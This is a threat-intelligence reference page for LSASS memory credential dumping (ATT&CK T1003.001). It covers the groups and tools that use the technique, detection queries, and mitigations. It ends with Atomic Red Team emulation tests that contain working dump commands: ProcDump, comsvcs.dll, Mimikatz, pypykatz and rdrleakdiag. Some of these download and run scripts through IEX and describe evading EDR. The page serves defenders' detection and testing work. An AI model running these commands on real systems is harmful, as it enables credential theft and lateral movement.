VOID MANTICOREG1055 ↗
Has dumped LSASS credentials using comsvcs.dll via rundll32.exe.1
- Tactic
- Credential Access
- Platform
- Windows
- Version
- 1.5
- Created
- 11 February 2020
- Last modified
- 12 May 2026
- Contributors
- Edward Millington; Ed Williams, Trustwave, SpiderLabs; Olaf Hartong, Falcon Force; Michael Forret, Quorum Cyber
Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
44
Threat groupsTop 3%
Threat groups97th percentile · 97% of ATT&CK techniques have this many threat groups attributed or fewer.9
CampaignsTop 4%
Campaigns96th percentile · 96% of ATT&CK techniques have this many campaigns recorded or fewer.26
Tools & malwareTop 13%
Tools & malware87th percentile · 87% of ATT&CK techniques have this many tools implementing them or fewer.90
Detection rulesTop 1%
Detection rules99th percentile · 99% of ATT&CK techniques have this many detection rules written or fewer.LSASS Memory MITRE reference T1003.001
Top 3%of all ATT&CK techniques for number of groups
44 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
MirrorFaceG1054 ↗
Has dumped LSASS memory for credential access.1
Medusa GroupG1051 ↗
Has leveraged Mimikatz to dump LSASS to harvest credentials.1
UNC3886G1048 ↗
Has used MiniDump to dump process memory and search for cleartext credentials.1
PlayG1040 ↗
Has used Mimikatz and the Windows Task Manager to dump LSASS process memory.1
RedCurlG1039 ↗
All 44 groups for this technique · 6 newest in this preview
9 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
SharePoint ToolShell ExploitationC0058 ↗
During SharePoint ToolShell Exploitation, threat actors used Mimikatz to dump LSASS memory.1
2025 Poland Wiper AttacksC0063 ↗
During the 2025 Poland Wiper Attacks, the adversaries attempted to dump credentials utilizing LSASS.12
Operation Digital EyeC0061 ↗
During Operation Digital Eye, threat actors targeted memory from the LSASS process to extract credentials.1
Cutting EdgeC0029 ↗
During Cutting Edge, threat actors used Task Manager to dump LSASS memory from Windows devices to disk.1
HomeLand JusticeC0038 ↗
During HomeLand Justice, threat actors dumped LSASS memory on compromised hosts.1
Operation WocaoC0014 ↗
During Operation Wocao, threat actors used ProcDump to dump credentials from memory.1
All 9 campaigns for this technique · 6 newest in this preview
26 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
QilinS1242 ↗
Can employ an embedded Mimikatz module to dump LSASS memory.1
MafaldaS1060 ↗
Can dump password hashes from LSASS.exe.1
SILENTTRINITYS0692 ↗
Can create a memory dump of LSASS via the MiniDumpWriteDump Win32 API call.1
LizarS0681 ↗
SliverS0633 ↗
Has a built-in procdump command allowing for retrieval of memory from processes such as lsass.exe for credential harvesting.1
PysaS0583 ↗
All 26 software entries for this technique · 6 newest in this preview
Offense vs defense T1003.001
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 9Sigma rules (cumulative) · 79Splunk ESCU (cumulative) · 11
first rule: 2012 Q2 · 9 of 9 campaigns plottedLSASS Memory detection strategy DET0363
MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection of Credential Dumping from LSASS Memory via Access and Dump Sequence
1 platform
AN1030 · Windows
A non-privileged or abnormal process attempts to open a handle with full access (0x1F0FFF) to lsass.exe and subsequently invokes memory dump, file creation, or registry modification indicative of credential scraping. This behavior chain reflects staged credential theft activity.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account MetadataDC0013 | WinEventLog:Security | EventCode=4673 |
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| Process AccessDC0035 | WinEventLog:Sysmon | EventCode=10 |
| File CreationDC0039 | WinEventLog:Sysmon | EventCode=11 |
| Windows Registry Key ModificationDC0063 | WinEventLog:Sysmon | EventCode=13, 14 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| AccessMask | Set to 0x1F0FFF to detect full memory access attempts; can be scoped down to reduce noise. |
| TimeWindow | Defines time between LSASS access and dump file creation or registry modification (e.g., 5 minutes). |
| ParentProcessName | Allowlist known legitimate tools (e.g., AV/EDR) accessing lsass.exe. |
| DumpFilePath | Paths where memory dumps are written, e.g., %TEMP%, C:\Windows\Temp. |
| CommandLinePattern | Common dumping syntax like rundll32, procdump, comsvcs.dll, Invoke-Mimikatz. |
5 analytics
Malicious actors may rename built-in commands or external tools, such as those provided by SysInternals, to better blend in with the environment. In those cases, the file path name is arbitrary and may blend in well with the background. If the arguments are closely inspected, it may be possible to infer what tools are running and understand what an adversary is doing. When any legitimate software shares the same command lines, it must be whitelisted according to the expected parameters.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | command_line |
| process | create | exe |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
Identify process launches that contain substrings that belong to known tools and do not match the expected process names. These will help to indicate instances of tools that have been renamed.
process = search Process:Create
port_fwd = filter process where (command_line match "-R .* -pw")
scp = filter process where (command_line match "-pw .* .* .*@.*"
mimikatz = filter process where (command_line match "sekurlsa")
rar = filter process where (command_line match " -hp ")
archive = filter process where (command_line match ".* a .*")
ip_addr = filter process where (command_line match \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})
output port_fwd, scp, mimikatz, rar, archive, ip_addrSplunk version of the above pseudocode, excluding the IP address search.
index=__your_sysmon_index__ EventCode=1 (CommandLine="* -R * -pw*" OR CommandLine="* -pw * *@*" OR CommandLine="*sekurlsa*" OR CommandLine="* -hp *" OR CommandLine="* a *")
Splunk version of the above pseudocode, solely for the IP address search. Note that this will likely result in many false positives, since things like software version numbers can also be valid IPv4 addresses.
index=__your_sysmon_index__ EventCode=1 |regex CommandLine=".*\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}\b.*"EQL version of the above pseudocode, excluding the IP address search.
process where subtype.create and (command_line == "* -R * -pw*" or command_line == "* -pw * *@*" or command_line == "*sekurlsa*" or command_line == "* -hp *" or command_line == "* a *")
DNIF version of the above pseudocode.
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $Process=regex(.*(\-r.*\-pw|\-pw.*\@|sekurlsa|\-hp| a |\\d\{1\,3\}\\\.\\d\{1\,3\}\\\.\\d\{1\,3\}).*)i limit 100LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 (command="* -R * -pw*" OR command="* -pw * *@*" OR command="*sekurlsa*" OR command="* -hp *" OR command="* a *")
Unit tests
CAR’s own validation procedures for this analytic.
Download and run Putty from the command line to connect to an SSH server using remote port forwarding. Note that this requires specifying your remote system password on the command line, where it will be logged and visible. It is highly recommended that you specify an incorrect password and not complete the login, or use a temporary password.
["putty.exe -pw <password> -R <port>:<host> <user>@<host>"]
Download 7zip or other archiving software you plan to monitor. Create an innocuous text file for testing, or substitute an existing file.
["7z.exe a test.zip test.txt"]
Credential dumpers like Mimikatz can be loaded into memory and from there read data from another processes. This analytic looks for instances where processes are requesting specific permissions to read parts of the LSASS process in order to detect when credential dumping is occurring. One weakness is that all current implementations are “overtuned” to look for common access patterns used by Mimikatz.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
This is specific to the way Mimikatz works currently, and thus is fragile to both future updates and non-default configurations of Mimikatz.
index=__your_sysmon_data__ EventCode=10 TargetImage="C:\\WINDOWS\\system32\\lsass.exe" (GrantedAccess=0x1410 OR GrantedAccess=0x1010 OR GrantedAccess=0x1438 OR GrantedAccess=0x143a OR GrantedAccess=0x1418) CallTrace="C:\\windows\\SYSTEM32\\ntdll.dll+*|C:\\windows\\System32\\KERNELBASE.dll+20edd|UNKNOWN(*)" | table _time hostname user SourceImage GrantedAccess
This is an outlier version of the above without including the specific call trace. This should work in more (but not all) situations however runs more slowly and will have more false positives - typically installers.
earliest=-d@d latest=now() index=__your_sysmon_data__ EventCode=10 TargetImage="C:\\WINDOWS\\system32\\lsass.exe" (GrantedAccess=0x1410 OR GrantedAccess=0x1010 OR GrantedAccess=0x1438 OR GrantedAccess=0x143a OR GrantedAccess=0x1418) | search NOT [ search earliest=-7d@d latest=-2d@d index=__your_sysmon_data__ EventCode=10 TargetImage="C:\\WINDOWS\\system32\\lsass.exe" (GrantedAccess=0x1410 OR GrantedAccess=0x1010 OR GrantedAccess=0x1438 OR GrantedAccess=0x143a OR GrantedAccess=0x1418) | dedup SourceImage | fields SourceImage ] | table _time hostname user SourceImage GrantedAccess
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=10 image="C:\Windows\system32\lsass.exe" (access="0x1410" OR access="0x1010" OR access="0x1438" OR access="0x143a" OR access="0x1418") call_trace="C:\windows\SYSTEM32\ntdll.dll+*|C:\windows\System32\KERNELBASE.dll+20edd|UNKNOWN(*)" | fields log_ts, host, user, source_image, access
ProcDump is a sysinternal command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | exe |
| process | create | command_line |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
This base pseudocode looks for process create events where an instance of procdump is executed that references lsass in the command-line.
processes = search Process:Create procdump_lsass = filter processes where ( exe = "procdump*.exe" and command_line = "*lsass*") output procdump_lsass
A Splunk/Sysmon version of the above pseudocode.
index=__your_sysmon_index__ EventCode=1 Image="*\\procdump*.exe" CommandLine="*lsass*"
A related Splunk search, which instead of looking for process create events looks for process access events that target lsass.exe.
index=__your_sysmon_index__ EventCode=10 TargetImage="C:\\WINDOWS\\system32\\lsass.exe" GrantedAccess="0x1FFFFF" ("procdump")
An EQL Version of the above pseudocode.
A Sigma Version of the above Splunk search, with some more stringent criteria around calltrace.
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 image="*\procdump*.exe" command="*lsass*"
Unit tests
CAR’s own validation procedures for this analytic.
1. Open a Windows Command Prompt or PowerShell instance. 2. Navigate to folder containing ProcDump. 3. Execute procdump.exe -ma lsass.exe lsass_dump
The Windows Task Manager may be used to dump the memory space of lsass.exe to disk for processing with a credential access tool such as Mimikatz. This is performed by launching Task Manager as a privileged user, selecting lsass.exe, and clicking "Create dump file". This saves a dump file to disk with a deterministic name that includes the name of the process being dumped.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-FCA | File Creation Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| file | create | file_name |
| file | create | image_path |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
This base pseudocode looks for file create events where a file with a name similar to lsass.dmp is created by the Windows task manager process.
files = search File:Create lsass_dump = filter files where ( file_name = "lsass*.dmp" and image_path = "C:\Windows\*\taskmgr.exe") output lsass_dump
A Splunk/Sysmon version of the above pseudocode.
index=__your_sysmon_index__ EventCode=11 TargetFilename="*lsass*.dmp" Image="C:\\Windows\\*\\taskmgr.exe"
An EQL version of the above pseudocode.
file where file_name == "lsass*.dmp" and process_name == "taskmgr.exe"
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=11 file="*lsass*.dmp" source_image="C:\Windows\*\taskmgr.exe"
Unit tests
CAR’s own validation procedures for this analytic.
1. Open Windows Task Manager as Administrator 2. Select lsass.exe 3. Right-click on lsass.exe and select "Create dump file".
Actors may create a remote thread into the LSASS service as part of a workflow to dump credentials.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-SCA | System Call Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| thread | remote_create | — |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
Pseudocode implementation of the Splunk search below. The CAR data model does not currently contain a Target Image field, for remote thread creation, so this code Is somewhat inexact. See the Splunk implementation for a more precise search for the lsass image target.
remote_threads = search Thread:remote_create lsass_remote_create = filter remote_threads where "lsass" in raw event output lsass_remote_create
This search needs Sysmon Logs with a Sysmon configuration, which includes EventCode 8 with lsass.exe. This search uses an input macro named sysmon. We strongly recommend that you specify your environment-specific configurations (index, source, sourcetype, etc.) for Windows Sysmon logs. Replace the macro definition with configurations for your Splunk environment. The search also uses a post-filter macro designed to filter out known false positives.
`sysmon` EventID=8 TargetImage=*lsass.exe | stats count min(_time) as firstTime max(_time) as lastTime by Computer, EventCode, TargetImage, TargetProcessId | rename Computer as dest
Unit tests
CAR’s own validation procedures for this analytic.
Replay the detection [dataset](https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon.log) using the Splunk attack range with the commands below
["python attack_range.py replay -dn data_dump [--dump NAME_OF_DUMP]"]
execute the atomic test [T1003.001](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1003.001) against a Windows target.
["Invoke-AtomicTest T1003.001"]
On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing.
With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. It also does not protect against all forms of credential dumping.
Consider disabling or restricting NTLM. Consider disabling WDigest authentication.
Password PoliciesM1027
Ensure that local administrator accounts have complex, unique passwords across all systems on the network.
Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.
On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.
User TrainingM1017
Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.
Tests14Executorscmd 7 · PowerShell 6 · manual 1Need elevation13 of 14Have prerequisites9Have cleanup11Platformswindows
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Dump LSASS.exe Memory using ProcDump | windows | cmd | Required | 1 | Yes | ||||||||||||||
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install the ProcDump tool first. Input arguments
Attack command "#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
Cleanup command del "#{output_file}" >nul 2> nul
Prerequisite ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe}) Check if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}
Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force
GUID73609e7d-d545-45f1-9f74-5d91c74e8d61 | ||||||||||||||||||||
| 02 | Dump LSASS.exe Memory using comsvcs.dll | windows | PowerShell | Required | — | Yes | ||||||||||||||
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp. Attack command C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full Cleanup command Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore GUID6210fd50-b0eb-453d-acdd-f823867d4090 | ||||||||||||||||||||
| 03 | Dump LSASS.exe Memory using direct system calls and API unhooking | windows | cmd | Required | 1 | Yes | ||||||||||||||
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. https://github.com/outflanknl/Dumpert https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ Upon successful execution, you should see the following file created C:\\windows\\temp\\dumpert.dmp. If you see a message saying \"The system cannot find the path specified.\", try using the get-prereq_commands to download the tool first. Input arguments
Attack command "#{dumpert_exe}"
Cleanup command del C:\windows\temp\dumpert.dmp >nul 2> nul Prerequisite Dumpert executable must exist on disk at specified location (#{dumpert_exe}) Check if (Test-Path "#{dumpert_exe}") {exit 0} else {exit 1}
Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -ItemType Directory (Split-Path "#{dumpert_exe}") -Force | Out-Null
Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile "#{dumpert_exe}"
GUID3a40a240-6c93-4ddf-b362-8499fe8a2662 | ||||||||||||||||||||
| 04 | Dump LSASS.exe Memory using NanoDump | windows | cmd | Required | 1 | Yes | ||||||||||||||
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory Attack command PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp" Cleanup command del "%temp%\nanodump.dmp" >nul 2> nul Prerequisite NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) Check if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1}
Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/fortra/nanodump/raw/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe" GUIDb2d993e7-c3d8-4e21-9ff3-d4686bfaae81 | ||||||||||||||||||||
| 05 | Dump LSASS.exe Memory using Windows Task Manager | windows | manual | — | — | — | ||||||||||||||
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions. Attack command No command — this test is a manual procedure. GUIDc0b656d5-1132-4c5d-814e-db72fd6221c3 | ||||||||||||||||||||
| 06 | Offline Credential Theft With Mimikatz | windows | cmd | Required | 2 | — | ||||||||||||||
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands. Input arguments
Attack command #{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
Prerequisite Mimikatz must exist on disk at specified location (#{mimikatz_exe}) Check if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}
Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path "#{mimikatz_exe}" | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
Prerequisite Lsass dump must exist at specified location (#{input_file}) Check cmd /c "if not exist #{input_file} (exit /b 1)"
Satisfy Write-Host "Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)" GUID9ba9d2ee-5036-49f4-a04c-3e52f5e80624 | ||||||||||||||||||||
| 07 | LSASS read with pypykatz | windows | cmd | Required | 3 | Yes | ||||||||||||||
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes to the screen. Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution. Input arguments
Attack command "#{venv_path}\Scripts\pypykatz" live lsa
Cleanup command del "%temp%\nanodump.dmp" > nul 2> nul Prerequisite Computer must have python 3 installed Check if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait Prerequisite Computer must have venv configured at #{venv_path} Check if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit 1 }
Satisfy py -m venv "#{venv_path}"
Prerequisite pypykatz must be installed Check if (Get-Command "#{venv_path}\Scripts\pypykatz" -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
Satisfy & "#{venv_path}\Scripts\pip.exe" install --no-cache-dir pypykatz 2>&1 | Out-Null
GUIDac0f4b1e-9dec-469a-a0e7-f86c4524fc06 | ||||||||||||||||||||
| 08 | Dump LSASS.exe Memory using Out-Minidump.ps1 | windows | PowerShell | Required | — | Yes | ||||||||||||||
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp. Author of Out-Minidump: Matthew Graeber (@mattifestation) Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
Cleanup command Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore GUID2bd1a40e-6d5c-422a-8644-252d734375ab | ||||||||||||||||||||
| 09 | Create Mini Dump of LSASS.exe using ProcDump | windows | cmd | Required | 1 | Yes | ||||||||||||||
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install the ProcDump tool first. Input arguments
Attack command "#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
Cleanup command del "#{output_file}" >nul 2> nul
Prerequisite ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe}) Check if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force
GUID9b8969f9-29e8-48ff-8369-4b42b4126931 | ||||||||||||||||||||
| 10 | Powershell Mimikatz | windows | PowerShell | Required | — | — | ||||||||||||||
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks execution. Or, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA" Input arguments
Attack command IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
GUIDadea8a31-e941-4424-b782-d55d2f144de2 | ||||||||||||||||||||
| 11 | Dump LSASS with createdump.exe from .Net v5 | windows | PowerShell | Required | 1 | Yes | ||||||||||||||
Use createdump executable from .NET to create an LSASS dump. Reference Attack command $exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe" & "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id Cleanup command Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore Prerequisite .Net v5 must be installed Check $exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
if ($exePath -and (Test-Path $exePath)) {exit 0} else {exit 1}
Satisfy winget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreements --accept-package-agreements --silent GUID75b765c4-a2d9-43fa-a9ba-36677d9a9275 | ||||||||||||||||||||
| 12 | Dump LSASS.exe using imported Microsoft DLLs | windows | PowerShell | Required | 1 | Yes | ||||||||||||||
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files. Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp. Input arguments
Attack command #{xordump_exe} -out #{output_file} -x 0x41
Cleanup command Remove-Item #{output_file} -ErrorAction Ignore
Prerequisite Computer must have xordump.exe Check if (Test-Path '#{xordump_exe}') {exit 0} else {exit 1}
Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile #{xordump_exe}
GUIDaf2e43d0-615b-4e96-a510-6d517f120a80 | ||||||||||||||||||||
| 13 | Dump LSASS.exe using lolbin rdrleakdiag.exe | windows | PowerShell | Required | — | Yes | ||||||||||||||
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk. Attack command if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
Cleanup command Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore GUIDc9c298a2-62e4-4713-9b17-f6228a535d76 | ||||||||||||||||||||
| 14 | Dump LSASS.exe Memory through Silent Process Exit | windows | cmd | Required | 1 | Yes | ||||||||||||||
